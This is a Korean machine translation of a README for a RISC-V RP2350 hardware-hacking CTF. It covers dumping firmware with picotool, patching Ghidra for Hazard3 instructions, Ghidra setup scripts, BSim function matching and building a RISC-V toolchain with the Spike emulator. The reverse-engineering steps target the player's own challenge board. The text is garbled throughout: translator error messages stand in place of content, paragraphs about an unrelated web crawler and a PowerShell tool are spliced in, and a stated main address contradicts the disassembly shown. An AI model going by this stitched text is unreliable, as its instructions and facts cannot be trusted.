
하드웨어 해킹 CTF hcon2026hwctf - RISCV Hazard3 (@Wren6991) 익스플로잇: @b1n4ri0 @antoniovazquezblanco & @therealdreg
하드웨어 CTF에 관심이 있다면, RISC-V RP2350 익스플로잇 챌린지(로우 레벨)를 다루는 HC0N CTF 2026의 첫 번째 공개 챌린지가 여기 있습니다.
우리는 이 챌린지를 너무 엘리트적이거나 어렵지 않게 만들려고 노력했습니다. 수백 명의 컨퍼런스 참가자들이 문제를 풀 기회를 가질 수 있도록요. 그 목표를 달성했기를 바랍니다.
CTF를 집에서 실행하고 싶다면 Raspberry Pi Pico 2를 하나 준비해서 이 펌웨어를 플래시하고, 라이트업은 읽지 마세요! -> ctf.uf2
CTF에 사용된 보드와 다른 보드(RP2350/RP2354...)를 사용하는 분들을 위한 참고 사항:
CTF PCB에는 GPIO 25에 SMD LED가 있습니다. 해당 GPIO에 LED가 반드시 있어야 합니다

이 CTF를 마친 후 마음에 들었다면, 다른 챌린지로 구성된 비슷한 CTF가 여기 있습니다: https://github.com/therealdreg/ctfhardwarehackingcon2026
경고: 아래 라이트업에는 챌린지에 대한 스포일러가 포함되어 있습니다. 직접 문제를 풀고 싶다면 CTF를 완료할 때까지 읽지 않는 것을 권장합니다.
1등 수상자: @mrexodia (Duncan Ogilvie) writeups/first_winner.md

상품: okhi 하드웨어 키로거 USB/PS2 키트 + CWP(Certified WifiChallenge Professional) https://github.com/therealdreg/okhi
2등 수상자: @M3RINOOOOO (Cristobal Merino Saez) writeups/second_winner.md

상품: Pimoroni PGA2350, PICO2 WH, Pimoroni PICO PLUS 2W, PICO2 H, CWP(Certified WifiChallenge Professional)
3등 수상자: @p4bl0vx (Pablo Moya Lopez) writeups/third_winner.md

상품: Pimoroni PGA2350, PICO2 WH, Pimoroni PICO PLUS 2W, CWP(Certified WifiChallenge Professional).
여기서는 HCON 2026의 Hardware Hacking CTF를 더 쉽게 풀 수 있도록 몇 가지 도움을 드리겠습니다.

Linux 호스트를 첫 번째 옵션으로 두세요 ;-), 디버깅이 더 잘 작동합니다.
TeraTerm: Setup -> Terminal -> Transmit: CR+LF & [x] Local echo

기타:
cutecom:``` sudo apt-get update sudo apt-get install cutecom
# 경고
챌린지 중 하나는 하드웨어 디버깅을 요구합니다. 집에서 (다른 보드를 가진 팀원 없이) 챌린지를 수행하는 경우, 해당 챌린지를 해결하려면 다음 두 가지 항목도 구매해야 합니다. (구매하지 않아도 걱정하지 마세요—하지만 해당 특정 챌린지는 해결할 수 없습니다.)
- https://www.tiendatec.es/raspberry-pi-pico/2025-raspberry-pi-debug-probe-5056561803265.html
- https://www.tiendatec.es/raspberry-pi-pico/1979-cable-depuracion-pico-jtag-jst-sh-1-0-a-dupont-hembra-15cm-8472496024846.html
# 스크립트 정보
이 저장소에 포함된 도구는 @b1n4ri0이 커뮤니티를 위해, 특히 2026 HCON 하드웨어 해킹 챌린지를 위해 개발했습니다.
# 디버그 지원 RP2350 RISCV Hazard3 (@Wren6991) 3-스테이지 RV32IMACZb* 프로세서 악용
RISCV Hazard3는 디버그 지원이 포함된 3-스테이지 RV32IMACZb* 프로세서입니다. HCON2026HWCTF 보드에 탑재된 RP2350 마이크로컨트롤러에 사용됩니다.
# picotool을 사용하여 RISCV Hazard3 펌웨어 덤프하기
`picotool`로 RP2350 장치에서 펌웨어를 덤프하는 것은 간단한 과정입니다. 이 섹션에서는 이를 효과적으로 수행하는 방법을 배우게 됩니다.
참고: `picotool`은 RP2350(및 RP2040) 장치가 BOOTSEL 모드이거나 실행 중인 펌웨어에 Pico SDK의 USB stdio 지원이 포함된 경우에만 상호 작용합니다.
## picotool 빌드하기
선호하는 패키지 관리자를 통해 필요한 빌드 도구와 라이브러리를 설치하세요.```bash
sudo apt-get update
sudo apt install build-essential pkg-config libusb-1.0-0-dev cmake -y
도구를 정리하기 위해 전용 디렉터리를 생성하세요. 이렇게 하면 이후 단계에서 사용되는 경로가 올바르게 유지됩니다.```bash cd $HOME mkdir rptools cd rptools
`picotool` 및 `pico-sdk` 프로젝트를 클론하세요. 도구 자체와 SDK가 모두 필요합니다. 참고로 `picotool`이 올바르게 컴파일되려면 `pico-sdk`가 필요합니다.```bash
git clone https://github.com/raspberrypi/picotool.git
git clone https://github.com/raspberrypi/pico-sdk.git
cd picotool
빌드 디렉터리를 만들고 CMake를 실행합니다.
중요: 이전 단계에서 SDK를 다운로드한 위치를 CMake에 정확히 알려주려면 -DPICO_SDK_PATH 플래그를 사용해야 합니다. 또는 환경 변수에 PICO_SDK_PATH를 설정할 수도 있습니다.```bash
mkdir build
cd build
cmake -DPICO_SDK_PATH=$HOME/rptools/pico-sdk ..
sudo make install
기본적으로 USB 장치에 접근하려면 root 권한이 필요합니다. `sudo`를 사용하지 않고 `picotool`을 실행할 수 있도록 udev 규칙 파일을 복사하십시오.```bash
sudo cp ../udev/60-picotool.rules /etc/udev/rules.d/
udev 규칙을 다시 로드하고(또는 장치를 뽑았다가 다시 꽂은 후) picotool version을 실행하여 버전을 확인해 모든 것이 제대로 작동하는지 확인하십시오:```bash
$ ./picotool version
picotool v2.2.0-a4 (Linux, GNU-15.2.0, Release)
## 사전 빌드된 바이너리 사용
빌드 과정을 건너뛰고 싶다면 [공식 저장소](https://github.com/raspberrypi/pico-sdk-tools/releases)에서 사전 컴파일된 바이너리를 다운로드할 수 있습니다.```bash
gunzip picotool-2.2.0-a4-x86_64-lin.tar.gz
tar -xf picotool-2.2.0-a4-x86_64-lin.tar
cd picotool
picotool version을 실행하면 예상대로 작동해야 합니다:```bash
$ ./picotool version
picotool v2.2.0-a4 (Linux, GNU-11.4.0, Release)
## RP2350에서 BOOTSEL 모드 활성화
펌웨어 덤프와 같은 작업을 수행하려면 `picotool`은 장치가 BOOTSEL 모드에 있을 것을 필요로 합니다. 그러나 현재 실행 중인 펌웨어에 Pico SDK의 USB stdio 지원이 포함되어 있다면, `picotool`은 장치와 상호작용할 수도 있습니다.
아래에서 이 모드를 활성화하는 몇 가지 방법을 언급하겠습니다. 자신의 경우에 가장 적합해 보이는 방법이나, 단순히 자신에게 맞는 방법을 선택하세요.
보드가 **BOOTSEL 모드에 있지 않지만**, USB stdio 지원을 포함한다면**,** `picotool` 명령을 실행하려 할 때 다음과 같은 출력이 표시될 것입니다:```bash
$ ./picotool info
No accessible RP-series devices in BOOTSEL mode were found.
but:
RP2350 device at bus 1, address 23 appears to have a USB serial connection, so consider -f (or -F) to force reboot in order to run the command.
다음은 표준 하드웨어 방법입니다:
BOOTSEL 또는 BOOT 버튼을 길게 누르세요.BOOTSEL 버튼을 놓으세요.대안 (보드를 분리하고 싶지 않은 경우):
BOOTSEL 버튼을 길게 누르세요.RESET 또는 RST 버튼을 눌렀다가 놓으세요.BOOTSEL을 놓으세요.이제 picotool 명령을 실행할 수 있습니다:```bash
$ ./picotool info
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
### BOOTSEL을 활성화하는 소프트웨어
장치 펌웨어가 실행 중이고 USB stdio 지원이 있는 경우, 보드를 건드리지 않고도 BOOTSEL 모드로 강제 전환할 수 있습니다.```bash
./picotool reboot -uf
이 명령은 -u 플래그를 사용하여 BOOTSEL 모드로 재부팅하도록 지정합니다. 그러나 장치가 현재 사용자 코드를 실행 중이므로 picotool은 기본적으로 이를 무시합니다. 따라서 실행 중인 애플리케이션이 리셋 명령을 수락하도록 강제하려면 -f 플래그를 추가해야 합니다.
-f가 없으면 도구가 장치가 이미 BOOTSEL 모드에 있을 것으로 기대하기 때문에 작업은 단순히 실패합니다.```bash
$ ./picotool info
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
**팁:** 수동으로 먼저 재부팅하지 않고도 실행 중인 장치에서 직접 명령을 실행하려면 명령에 `-f` 플래그를 추가하세요. `picotool`이 재부팅을 처리하고 명령을 실행한 후 애플리케이션으로 다시 재부팅합니다.```bash
$ ./picotool info -f
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
The device was asked to reboot back into application mode.
이 CTF 챌린지에서는 BOOTSEL 모드로 진입하지 않고도 펌웨어를 직접 추출할 수 있습니다.
실행 중인 프로그램에 대한 정보를 수집하는 것을 권장합니다. 기본적으로 "Program Information" 섹션을 표시하는 info 명령을 사용하면 됩니다. 현재 장치가 코드를 실행 중이므로 연결을 강제하기 위해 -f 플래그를 추가합니다.```bash
$ ./picotool info -f
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Program Information name: hello_usb features: USB stdin / stdout binary start: 0x10000000 binary end: 0x10011d50 target chip: RP2350 image type: RISC-V
The device was asked to reboot back into application mode.
이 출력은 프로그램 이름, 메모리 범위 및 이미지 아키텍처와 같은 필수 세부 정보를 보여줍니다.
이제 프로그램을 추출하고, 추출된 파일을 저장할 디렉터리를 생성합니다.```bash
mkdir -p $HOME/hcon2026hwctf/
펌웨어를 추출하려면 다음 명령을 실행하세요:```bash ./picotool save -pvf -t bin $HOME/hcon2026hwctf/hello_usb.bin
이 단일 명령이 전체 추출 프로세스를 처리합니다. RP2350을 강제로 BOOTSEL 모드로 재부팅하고, 플래시 메모리에서 현재 설치된 프로그램을 읽은 다음, 원시 바이너리 파일로 저장합니다. 추출이 올바른지 확인하기 위해 데이터를 다시 읽어 덤프된 파일이 칩의 내용과 정확히 일치하는지 검증합니다.
다음과 같은 출력이 표시됩니다:```bash
$ ./picotool save -pvf -t bin $HOME/hcon2026hwctf/hello_usb.bin
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Saving file: [==============================] 100%
Wrote 73040 bytes to /home/b1n4ri0/hcon2026hwctf/hello_usb.bin
Verifying Flash: [==============================] 100%
OK
The device was asked to reboot back into application mode.
그리고 그게 전부입니다. 프로그램을 성공적으로 덤프했습니다!
참고: 설치된 프로그램만 추출했을 뿐, 플래시 메모리의 전체 내용은 아니라는 점을 명심하세요.
오류가 발생하면 장치가 올바르게 연결되어 있는지 확인하세요. 자동 재부팅이 실패하면 BOOTSEL 모드로 수동 진입한 후 -f 플래그 없이 명령을 다시 실행하세요. 사용 가능한 옵션에 대한 자세한 내용은 picotool help <command>를 실행하면 됩니다.
RP2350 펌웨어를 추출한 후 다음 단계로는 리버스 엔지니어링이 자연스럽습니다. 이 작업에는 Ghidra를 사용하는 것이 좋습니다. 다만, 정확한 분석을 위해서는 특정 조정이 필요합니다.
바이너리를 로드하고 디스어셈블을 시도하면 불완전한 함수나 시각적으로 손상된 코드가 나타날 가능성이 높습니다. 이는 추출이 실패했음을 의미하지 않습니다. 문제는 Ghidra(12.0.2 버전 포함)가 이 SoC에 특화된 특정 명령어를 기본적으로 해석하지 못한다는 데 있습니다.
기술적인 이유는 Ghidra가 RISC-V C(Compressed) 및 B(Bit-manipulation) 확장을 초기 초안 사양(v0.92)을 기반으로 구현했기 때문입니다. 반면 RP2350에 사용된 Hazard3 CPU는 공식 확정된 v1.0.0 버전을 구현합니다. 결과적으로 많은 최신 명령어가 Ghidra에 알려지지 않았거나 이전 정의에서 변경되었습니다.
Hazard3가 지원하는 명령어에 대한 자세한 내용은 공식 문서를 참조하세요: wren.wtf/hazard3/doc/
이 충돌을 해결하고 올바른 디스어셈블을 얻으려면 Ghidra의 프로세서 정의를 비준된 v1.0.0 사양으로 업데이트해야 합니다.
먼저 Ghidra 설치 경로를 찾으세요(예: ~/ghidra_12.0_PUBLIC). RISC-V 프로세서 디렉터리로 이동한 다음 기존 data 폴더를 백업으로 이름을 변경하세요:```bash
export GHIDRA_INSTALL_DIR=~/ghidra_12.0_PUBLIC
cd $GHIDRA_INSTALL_DIR/Ghidra/Processors/RISCV
mv data data_back
다음으로, 업데이트된 명령어 정의가 포함된 저장소를 복제하고 새 `data` 폴더를 Ghidra 설치 디렉터리로 이동하세요:```bash
cd $HOME
git clone https://github.com/therealdreg/hcon2026hwctf.git
cp -r hcon2026hwctf/RVGhidraImpl/data $GHIDRA_INSTALL_DIR/Ghidra/Processors/RISCV/
패치된 프로세서 정의가 적용된 상태에서 바이너리를 올바르게 로드하려면 다음 단계를 따르세요:
PyGhidra를 실행합니다.Non-Shared Project를 생성합니다(예: hwctf2026).Active Project 창으로 끌어다 놓습니다.Language 필드에서 "..." 버튼을 클릭합니다.RISCV를 입력하고 RISCV:LE:32:default:gcc(RISCV 기본 32비트 little gcc)를 선택합니다.Ok로 확인합니다.CodeBrowser를 엽니다.No를 선택합니다.바이너리가 올바른 프로세서 정의로 로드되면 Ghidra는 opcode를 정확하게 디스어셈블할 수 있습니다. 그러나 일반적으로 우리가 다루는 것은 원시 .bin 파일이라는 점에 유의해야 합니다. 이러한 파일에는 분석을 용이하게 하는 심볼 테이블이나 메타데이터가 본질적으로 포함되어 있지 않습니다.
복구 가능한 정보의 양은 전적으로 바이너리의 출처에 달려 있습니다. 이 경우 우리의 대상은 pico-sdk v2.2.0을 사용하여 컴파일된 RP2350 펌웨어입니다. 공식 SDK를 사용하므로 바이너리가 picotool과 호환될 가능성이 있어 상당한 이점을 제공합니다. 이 도구를 사용하면 바이너리에 picotool이 파싱하는 데 필요한 헤더가 여전히 포함되어 있는 한 메타데이터를 식별하고 추출할 수 있습니다.
기본적으로 Ghidra는 수동 개입 없이는 메모리 레이아웃을 해석할 수 없습니다. 적절한 메모리 맵 없이 펌웨어를 분석하려고 하면 결과가 좋지 않고 수많은 오류가 발생합니다. 이는 Ghidra의 아키텍처 때문이며, 참조를 해석하려면 명시적인 컨텍스트가 필요합니다.
이 특정 시나리오에서 프로그램은 SRAM에서 실행되도록 컴파일되었습니다. 즉, 펌웨어에는 서로 다른 기본 주소를 가진 두 개의 서로 다른 메모리 영역에 대한 활성 참조가 포함되어 있습니다. 올바른 구성이 없으면 Ghidra는 이러한 영역 간의 디스어셈블리 흐름을 따라가는 데 어려움을 겪으며, 리버스 엔지니어링 프로세스가 크게 복잡해집니다.
설정을 간소화하고 일관성을 보장하기 위해 메모리 매핑과 환경 구성을 자동화하는 스크립트를 개발했습니다. 이 자동화가 초기 단계를 단순화하지만, 분석 워크플로우의 기본 로직을 이해하려면 스크립트의 소스 코드나 저장소의 README를 검토하는 것이 좋습니다. 메모리 레이아웃과 주변 장치 매핑에 대한 더 깊은 기술적 이해를 위해서는 공식 RP2350 데이터시트도 참조해야 합니다.
Ghidra RP2350 Setup Tool과 PyGhidra용 SVD Loader는 모두 이 저장소에 직접 포함되어 있습니다. 다음 섹션에서는 이러한 도구를 효과적으로 설치하고 사용하는 방법에 대한 자세한 지침을 제공합니다.
hcon26_rp2350-ctf_auto_setup.py 스크립트는 Raspberry Pi RP2350(RISC-V Hazard3 코어)을 대상으로 하는 펌웨어의 초기 구성 및 정적 분석 환경을 자동화하도록 설계되었습니다. 이 도구는 H-Con 2026 Hardware Hacking Challenge와 관련된 리버스 엔지니어링 작업을 지원하기 위해 특별히 개발되었습니다.
원시 바이너리 펌웨어는 자동 로드에 필요한 파일 헤더와 심볼 테이블이 본질적으로 부족합니다. 따라서 분석자는 코드를 읽을 수 있게 되기 전에 메모리 맵, 진입점 및 프로세서 상태를 수동으로 구성해야 합니다. 이 도구는 전체 프로세스를 자동화하여 바이너리를 즉시 리버스 엔지니어링에 대비시킵니다.
이 스크립트는 임베디드 펌웨어 분석에 일반적으로 필요한 수동 설정 오버헤드를 제거합니다. 로딩 프로세스를 자동화하여 일관되고 기능적인 Ghidra 프로젝트를 보장하며, 참가자가 환경 구성보다는 취약점 연구 및 로직 분석에 즉시 집중할 수 있게 합니다.
자동 환경 구성: RP2350에 대한 올바른 메모리 레이아웃을 즉시 설정하여 디컴파일러가 요구하는 적절한 권한으로 Flash(XIP) 및 SRAM 영역을 정의합니다.
진입점 탐지: RP2350 특정 헤더를 스캔하여 실제 실행 시작 주소를 식별하고, "On-RAM" 컴파일 바이너리에서 흔히 볼 수 있는 비표준 부트 벡터를 처리합니다.
컨텍스트 해석: Global Pointer gp 레지스터를 자동으로 초기화합니다. 이를 통해 전역 변수 및 정적 데이터에 대한 참조가 깨진 오프셋으로 표시되지 않고 디컴파일러에서 올바르게 해석됩니다.
데이터 섹션 재구성: 초기화된 섹션을 Flash에서 RAM으로 식별하고 재배치하여 부트 프로세스를 복제합니다. 이를 통해 분석 중 문자열 리터럴과 전역 변수가 올바른 메모리 위치에 표시됩니다.
심볼 복구: 휴리스틱 방식으로 주요 애플리케이션 로직과 런타임 초기화 시퀀스를 식별하여 분석자가 부트로더 전체를 수동으로 추적하지 않고 사용자 코드로 직접 이동할 수 있게 합니다.
con26_rp2350-ctf_auto_setup.py 파일을 직접 다운로드하세요.```bash
git clone https://github.com/therealdreg/hcon2026hwctf.git2. 스크립트 파일을 Ghidra 설치의 `ghidra_scripts` 디렉터리에 복사하세요.```bash
cd hcon2026hwctf/GhidraScripts
cp hcon26_rp2350-ctf_auto_setup.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts
대상 .bin 파일을 Ghidra(RV32)로 가져옵니다.
Code Browser에서 파일을 엽니다.
파일 분석을 묻는 메시지가 표시되면 No를 선택합니다.
Script Manager를 엽니다: Window > Script Manager.
RP2350 카테고리에 있는 hcon26_rp2350-ctf_auto_setup.py를 검색합니다.
스크립트를 실행하고 콘솔 출력에서 완료를 확인할 때까지 기다립니다. 콘솔에 표시된 Next Steps 정보를 반드시 읽으십시오.
설정 스크립트가 완료된 후 RP2350 SVD Loader를 실행하여 하드웨어 레지스터와 주변 장치를 매핑합니다.
System View Description(SVD) 파일은 마이크로컨트롤러의 주변 장치 레지스터에 대한 상세한 설명을 포함하는 XML 기반 문서입니다. 메모리 주소, 레지스터 오프셋, 비트 필드 및 리셋 값을 정의합니다. 리버스 엔지니어링에서 이러한 파일은 바이너리의 원시 메모리 공간을 사람이 읽을 수 있는 주변 장치 이름으로 매핑하여 익명의 메모리 접근을 식별 가능한 하드웨어 상호작용으로 변환하는 데 필수적입니다.
이 스크립트는 PyGhidra에 맞게 조정된 RP2350(Pico 2)용 SVD 로더입니다. 공식 SVD 사양을 기반으로 메모리 세그먼트 및 레지스터 정의 생성을 자동화합니다.
이 버전은 다음 저장소에서 찾을 수 있는 이전 작업을 기반으로 개발되었습니다:
또한 @antoniovazquezblanco가 개발한 https://github.com/antoniovazquezblanco/GhidraSVD를 사용할 수 있습니다.
SVD-Loader-RP2350.py 파일을 직접 다운로드합니다.```bash
git clone https://github.com/therealdreg/hcon2026hwctf.git2. 스크립트 파일을 Ghidra 설치 디렉터리의 `ghidra_scripts` 디렉터리로 복사합니다.```bash
cd hcon2026hwctf/GhidraScripts
cp SVD-Loader-RP2350.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts
.bin 파일을 Ghidra로 가져옵니다.CodeBrowser에서 파일을 엽니다.No를 선택합니다.Window > Script Manager).RP2350 카테고리에서 SVD-Loader-RP2350.py를 검색합니다.A를 눌러 바이너리를 분석합니다.
제공된 스크립트는 작동하는 PyGhidra 환경이 필요합니다.
- **의존성 설치**```bash
pip install pyghidra cmsis-svd
## 문제 해결: import cmsis-svd
`SVD-Loader-RP2350.py`가 `cmsis-svd` 라이브러리를 찾지 못하면 PyGhidra 인터프리터 내에서 직접 설치할 수 있습니다:
1. **CodeBrowser**에서 `Window > PyGhidra`로 이동합니다.
2. 다음 스니펫을 실행합니다:```python
import subprocess as s
import sys
s.check_call([sys.executable, "-m", "pip", "install", "cmsis-svd"])
Ghidra를 구성하고 바이너리를 디스어셈블한 후, 다음 목표는 챌린지의 고유 함수와 SDK에 속한 함수를 구분하는 것입니다.
일반적으로 이 작업에 쓰이는 표준 도구는 Ghidra FID(Function ID) 입니다. 작업 흐름은 대상 바이너리와 동일한 구성으로 SDK 예제를 컴파일하여 FIDB 데이터베이스를 생성하고, 이를 통해 Ghidra가 함수를 자동으로 식별하고 이름을 지정하도록 하는 것입니다. 그러나 이 경우 FID의 인식률은 상당히 낮습니다.
이러한 한계를 극복하기 위해 BSim을 사용하겠습니다. Version Tracking이나 Ghidriff 같은 다른 대안도 있지만, 이들은 주로 버전 간 변경 사항을 비교(패치 디퓨징)하기 위해 설계된 것이며 이 특정 목적에는 그다지 효과적이지 않습니다.
Ghidra가 비교를 통해 함수를 식별하려면 먼저 pico-sdk 예제를 컴파일하여 참조 데이터베이스를 생성해야 합니다. 시간을 최적화하려면 이 섹션 끝에 언급된 네 가지 필수 바이너리에 집중할 수 있습니다.
공식 예제 저장소를 클론합니다.```bash git clone https://github.com/raspberrypi/pico-examples.git cd pico-examples mkdir build cd build
### Raspberry Pi Pico 확장 프로그램
이러한 경로를 사용하려면 Raspberry Pi Pico VS Code 확장 프로그램이 설치되어 있어야 합니다. 이 디렉터리 구조는 해당 확장 프로그램 환경에 기본으로 제공됩니다.
확장 프로그램이 설치된 후, **Board Type: Pico 2** 및 **Architecture (pico2): RISC-V** 아키텍처를 선택하여 프로젝트를 구성하세요. 이 설정으로 프로젝트를 생성하기만 하면 필요한 모든 리소스 설치가 자동으로 시작됩니다. 이 경우 별도의 컴파일은 필요 없습니다.
RP2350 Hazard3에 맞는 특정 구성을 사용하여 기호와 형식이 챌린지 바이너리와 일치하도록 합니다.```bash
export PICO_SDK_PATH="$HOME/.pico-sdk/sdk/2.2.0"
export PICO_TOOLCHAIN_PATH="$HOME/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3"
입력 내용이 비어 있습니다. 번역할 Markdown 콘텐츠가 제공되지 않았습니다.```bash
cmake -DPICO_PLATFORM=rp2350-riscv
-DPICO_BOARD=pico2
-DPICO_COMPILER=pico_riscv_gcc
-DCMAKE_BUILD_TYPE=Debug
-DPICO_DEFAULT_BINARY_TYPE=copy_to_ram
-DPICO_STDIO_USB=1
-DPICO_STDIO_UART=0
-DCMAKE_C_FLAGS="-march=rv32ima_zicsr_zifencei_zba_zbb_zbs_zbkb_zca_zcb_zcmp -mabi=ilp32 -O0 -g3 -fno-omit-frame-pointer -fno-lto"
-DCMAKE_EXE_LINKER_FLAGS="-Wl,--print-memory-usage"
..
(empty)```bash
make -j$(nproc) -k
컴파일이 완료되면, 분석을 더 쉽게 하기 위해 모든 .elf 파일을 전용 디렉터리로 그룹화하세요:```bash
mkdir ../sdk-elfs
find . -name "*.elf" -exec cp --backup=numbered {} ../sdk-elfs/ ;
### Ghidra Headless를 사용한 자동 분석
생성된 대량의 파일을 처리하려면 Ghidra의 headless 모드를 사용하는 것이 가장 효율적입니다. 이미 챌린지 바이너리를 구성한 프로젝트를 가리키며 분석을 실행해야 합니다:```bash
# Run $GHIDRA_INSTALL_DIR/support/analyzeHeadless to check the usage
$GHIDRA_INSTALL_DIR/support/analyzeHeadless $HOME/hcon2026hwctf hwctf2026 -import pico-examples/sdk-elfs -recursive -processor "RISCV:LE:32:default"
분석 시간을 줄이려면, 챌린지에서 사용되는 대부분의 SDK 함수가 포함된 다음 네 개의 파일을 최소한 처리하십시오.
tinyusb_dev_cdc_msc.elfmulticore_runner_queue.elfhello_gpio_irq.elfhello_timer.elf전통적인 시그니처 식별(FID)만으로 충분하지 않은 경우, BSim이 가장 강력한 대안입니다. 다른 방법들과 달리 BSim은 코드 동작과 구조에 기반하므로, 아키텍처 간 비교가 가능하며 최적화 수준에 따른 변형은 무시합니다.
GUI를 사용할 수도 있지만, 여러 바이너리를 처리할 때는 터미널을 통해 구성하는 것이 더 효율적입니다.```bash cd $GHIDRA_INSTALL_DIR/support
H2 데이터베이스 파일 생성:```bash
# Run ./bsim to check the usage
./bsim createdatabase file:/<db_directory_path>/pico_db medium_nosize
Ghidra 프로젝트에서 이미 분석된 바이너리에서 시그니처를 추출하세요:```bash mkdir ~/bsim_sigs ./bsim generatesigs ghidra:$HOME/hcon2026hwctf/hwctf2026 ~/bsim_sigs --bsim file:/<db_directory_path>/pico_db
생성된 서명을 데이터베이스에 커밋하여 프로세스를 완료하세요:```bash
./bsim commitsigs file:/<db_directory_path>/pico_db ~/bsim_sigs
데이터베이스가 생성되면 이를 코드 브라우저에 연결합니다:
BSim > Manage Servers 탭으로 이동합니다.green "+" icon을 클릭하고 File 유형을 선택합니다.Dismiss를 클릭합니다.BSim으로 일치 항목을 검색하는 방법은 여러 가지가 있으며, 다음 방법이 가장 권장됩니다:
BSim > Search functions를 선택합니다.Similarity Threshold를 낮추면 컴파일 중 약간의 변형을 겪은 함수도 찾을 수 있습니다.팁: 함수가 확실하다고 생각되지만 내부("하위") 함수가 이름 없는 상태로 남아 있다면 BSim 결과 창을 사용하세요:
Shift + C를 눌러 비교를 엽니다.Compare matching callees를 선택합니다.BSim 옵션이 적합하지 않다면 버전 추적을 사용할 수 있습니다.
기본 Ghidra 창에서 Tool Chest의 맨 오른쪽에 있는 blue footprints icon을 찾아 버전 추적 도구를 엽니다.
blue footprints icon을 클릭하여 새 세션을 만듭니다.tinyusb_dev_cdc_msc)을 지정합니다.Finish를 클릭합니다.소스 도구, 대상 도구, 버전 추적 콘솔의 세 창이 열립니다. 버전 추적 창에서:
green "+" icon(추가 상관 분석 추가)을 클릭합니다.Finish를 클릭하고 프로세스가 끝날 때까지 기다립니다. 일반적으로 BSim 기반 알고리즘이 가장 강력한 결과를 제공합니다.버전 추적 결과를 얻은 후, 챌린지 바이너리에 변경 사항을 적용하는 두 가지 주요 방법이 있습니다:
두 번째 전략을 구현하려면 결과를 필터링하여 가장 강력한 일치 항목에 집중하는 것이 필수적입니다:
Filter 검색 창에 "Function"을 입력하여 함수 상관 관계만 표시합니다.이름을 확인하여 대상 바이너리로 전송하려면 green tick icon(깃발 아이콘과 디스크 아이콘 사이에 위치)을 사용합니다.
분석 스타일에 따라 두 가지 접근 방식을 선택할 수 있습니다:
main의 리버스 엔지니어링으로 바로 시작합니다. 알 수 없는 함수를 만나면 BSim을 사용하여 식별합니다.자신에게 가장 잘 맞는 방법을 선택하세요.
BSim에 대한 자세한 정보:
sudo apt-get update sudo apt-get install git build-essential autoconf automake autotools-dev curl python3 libmpc-dev libmpfr-dev libgmp-dev gawk build-essential bison flex texinfo gperf libtool patchutils bc zlib1g-dev libexpat-dev device-tree-compiler libboost-regex-dev libboost-system-dev
I don't see any content to translate in the provided input. The input section appears to be empty. Please provide the source text for chunk 79.```
cd /home/dreg
mkdir RISCV
export RISCV=/home/dreg/RISCV
export PATH=$PATH:$RISCV/bin
xcrawl3r Libraryxcrawl3r는 웹 애플리케이션의 URL과 엔드포인트를 크롤링하기 위해 설계된 명령줄 인터페이스 도구입니다. go 1.21 이상 버전이 필요합니다. 최신 버전을 사용하고 있는지 확인하세요. xcrawl3r을 설치하려면 go install을 사용하세요.
go install -v github.com/hueristiq/xcrawl3r/cmd/xcrawl3r@latest
xcrawl3r 라이브러리도 도구로 패키지되어 있지만, 프로그램에서 크롤링 기능을 사용할 수 있습니다. pkg.go.dev에서 설명서를 확인할 수 있습니다.```
cd /home/dreg/RISCV
git clone https://github.com/riscv/riscv-pk
git clone https://github.com/riscv/riscv-isa-sim
git clone --recursive https://github.com/riscv/riscv-gnu-toolchain
I don't see any input text to translate. The message ends with "INPUT:" and no content follows it. Please provide the chunk content you'd like translated.```
cd /home/dreg/RISCV/riscv-gnu-toolchain
mkdir build
cd build
../configure --prefix=$RISCV --with-arch=rv32imac_zicsr_zifencei_zba_zbb_zbs --with-abi=ilp32
make
(no input provided)``` cd /home/dreg/RISCV/riscv-pk mkdir build cd build ../configure --prefix=$RISCV --host=riscv32-unknown-elf make make install
- **시작 성능:** ShellX 시작은 거의 즉각적이어야 하며 PowerShell 프로필 시작 시간을 느리게 해서는 안 됩니다. ShellX는 모듈을 동적으로 로드하고 대상 영역에서 속도를 최적화하는 데 많은 신경을 씁니다.```
cd /home/dreg/RISCV/riscv-isa-sim
mkdir build
cd build
../configure --prefix=$RISCV --enable-histogram
make
make install
poc.c (/home/dreg/RISCV/poc.c)``` #include <stdio.h> int main() { printf("Hello Dreg RISCV!\n"); return 0; }
poc.c를 컴파일하세요```
cd /home/dreg/RISCV
/home/dreg/RISCV/bin/riscv32-unknown-elf-gcc -march=rv32imac_zicsr_zifencei_zba_zbb_zbs -mabi=ilp32 -static -g poc.c -o poc
Spike에서 poc 실행``` cd /home/dreg/RISCV /home/dreg/RISCV/bin/spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" poc
출력은 다음과 같아야 합니다:```
Hello Dreg RISCV!
축하합니다! Spike 에뮬레이터를 사용하여 RISCV 프로그램을 성공적으로 컴파일하고 실행했습니다!
main 함수 디버깅:``` cd /home/dreg/RISCV/ /home/dreg/RISCV/bin/riscv32-unknown-elf-objdump -D poc
제 경우에는 main 함수가 0x00010154에 있습니다```
.....
0001016a <main>:
1016a: 1141 addi sp,sp,-16
1016c: c606 sw ra,12(sp)
1016e: c422 sw s0,8(sp)
10170: 0800 addi s0,sp,16
10172: 67c9 lui a5,0x12
10174: 43c78513 addi a0,a5,1084 # 1243c <__errno+0x6>
10178: 26ad jal 104e2 <puts>
1017a: 4781 li a5,0
1017c: 853e mv a0,a5
1017e: 40b2 lw ra,12(sp)
10180: 4422 lw s0,8(sp)
10182: 0141 addi sp,sp,16
10184: 8082 ret
.....
